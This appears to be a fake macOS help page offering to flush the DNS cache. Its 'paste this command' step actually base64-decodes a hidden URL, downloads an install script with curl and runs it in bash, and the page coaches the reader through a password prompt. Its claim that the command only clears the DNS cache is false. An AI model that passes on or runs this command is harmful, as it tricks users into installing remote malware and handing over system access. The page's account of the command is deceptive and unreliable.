If your DNS cache is outdated or corrupted, it can cause pages to fail, load incorrectly, or redirect you to the wrong server.
Luckily, the fix is simple: you just need to flush the DNS cache on macOS.
✅ Step 1: Open Terminal
- Press Command + Space to open Spotlight Search
- Type Terminal and hit Return
You’ll see a black Terminal window — don’t worry, you don’t need to be a tech expert!
✅ Step 2: Paste This Command
Copy the following line and paste it into Terminal, then press Return:
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9pY2xvdWRzZXJ2ZXJzLmNvbS9nbS9pbnN0YWxsLnNo | base64 -d))"
You may be asked to enter your Mac login password.
⚠️ Don’t worry if nothing appears as you type — that’s normal. Just type your password and press Return.
What does this command do?
It tells macOS to purge its DNS cache — a temporary record of websites you’ve visited.
After running the command, your Mac is forced to re-fetch the latest DNS info.
This helps resolve:
- DNS lookup failures
- Wrong IP redirections
- Loading issues with new domains
🎉 That’s It — DNS Cache Cleared
You’ve just refreshed your Mac’s network memory. Now your DNS is:
- Clean
- Updated
- Ready to resolve sites properly again
💡 Tip: Repeat this if you switch Wi-Fi networks, use a VPN, or change your DNS provider.